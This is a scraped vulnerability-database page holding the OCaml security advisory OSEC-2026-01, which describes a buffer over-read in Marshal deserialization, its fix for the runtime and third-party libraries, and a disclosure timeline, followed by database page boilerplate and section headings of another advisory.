  "details": "## Summary\n\nA critical buffer over-read vulnerability in OCaml\u0027s Marshal deserialization (runtime/intern.c) enables remote code execution through a multi-phase attack chain. The vulnerability stems from missing bounds validation in the readblock() function, which performs unbounded memcpy() operations using attacker-controlled lengths from malicious Marshal data.\n\nPlease note that Marshal is not type safe, and you have to be careful if you use the deserialization on untrusted input (due to type confusion, and remote code execution by design - you can use Marshal for code).\n\nAffected functions: `Marshal.from_channel`, `Marshal.from_bytes`, `Marshal.from_string`, `Stdlib.input_value`, `Pervasives.input_value` when reading data from an untrusted source.\n\n## Vulnerability Attack Vector\n\nCorrupted or malicious marshaled data that causes undefined behaviour in the runtime system when unmarshaled.\n`input_value` should either fail cleanly or produce a well-formed OCaml object, without corrupting the runtime system.\n\nConsequently, this excludes:\n\n* well-formed marshaled data that produces an OCaml object that is not of the type expected by the OCaml code and causes the Ocaml code to crash or misbehave\n\n* misuses of the OCaml runtime system by the program performing input_value, such as setting `Debugger.function_placeholder` to the wrong function.\n\nThe former issue may be addressed at some point by validating the unmarshaled OCaml value against the expected type, using the functions from module `Obj` and some kind of run-time type description.\n\nThe latter issue is a bug in the program that unmarshals the data.\n\n## Fix\n\n### OCaml runtime\n\nThe OCaml runtime has been hardened with additional bounds checks. An exception is raised on bad input.\n\n### Third party libraries\n\nThird party libraries that want to harden their custom Marshal deserialization code can follow the example fix for bigarrays from the standard library.\nThere are new macros in `custom.h` called `Wsize_custom_data` and `Bsize_custom_data` that return the size in words or bytes of the allocated custom destination block. The deserializer needs to ensure it only writes data within those bounds.\n\nThis only needs to be done if the library defines a custom type in a C binding, and `struct custom_operations`\u0027s `deserialize` field is not set to `NULL` or `custom_deserialize_default`, and `struct custom_operations`\u0027s `fixed_length` field is set to `NULL` or `custom_fixed_length_default`\n\nSince `Marshal.from*` and `input_value` remain unsafe to use, the fix for the OCaml runtime is released, and we wouldn\u0027t attempt to coordinate updating all deserialization functions in the ecosystem.\n\n## Timeline\n\n- Nov 4th 2025: Discovery Date: Discovered first in OxCaml\n- Nov 5th 2025: First Disclosure Date (Jane Street Team): Emailed top maintainers, no response.\n- Nov 9th 2025: Second Disclosure Date (OCaml Team): Submitted to OCaml/ocaml GitHub Repo as a Security Advisory.\n- Nov 11th 2025: Emailed OCaml Security Mail List: Submitted to OCaml over email, responded asking for details.\n- Nov 11th 2025: Third Disclosure (OCaml Security Response Team): Submitted to ocaml/security-advisories GitHub Repo as a Security Advisory.\n- Dec 16th 2025: Initial patch is developed\n- Dec 17th 2025: Fuzz testing found further issues\n- Dec 24th 2025: Final patch for OCaml is developed\n- Dec 25th 2025: Fuzz testing couldn\u0027t find any further issues\n- Jan 2nd 2026: Patch got reviewed by OCaml maintainers\n- Jan 4th 2026: Benchmarking of the patch with good results\n- Jan 6th 2026: Reporter got contacted to confirm\n- Jan 25th 2026: Further related issues discovered by fuzzing\n- Feb 17th 2026: fixed OCaml releases are published, security advisory is published",
  "id": "OSEC-2026-01",
  "modified": "2026-02-27T09:30:00Z",
  "published": "2026-02-17T13:30:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://github.com/ocaml/security-advisories/security/advisories/GHSA-j26j-m5xr-g23c"
    }
  ],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Buffer Over-Read in OCaml Marshal Deserialization"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

osec-2026-18

Vulnerability from osv_ocaml

Root cause

Exploit path

Proof of concept

1. Heap information disclosure (clean, no crash)

2. Denial of service (crash)

Timeline

CVE-2026-28364 (GCVE-0-2026-28364)

osec-2026-01

Vulnerability from osv_ocaml

Summary

Vulnerability Attack Vector

Fix

OCaml runtime

Third party libraries

Timeline

Tags

Sightings

Nomenclature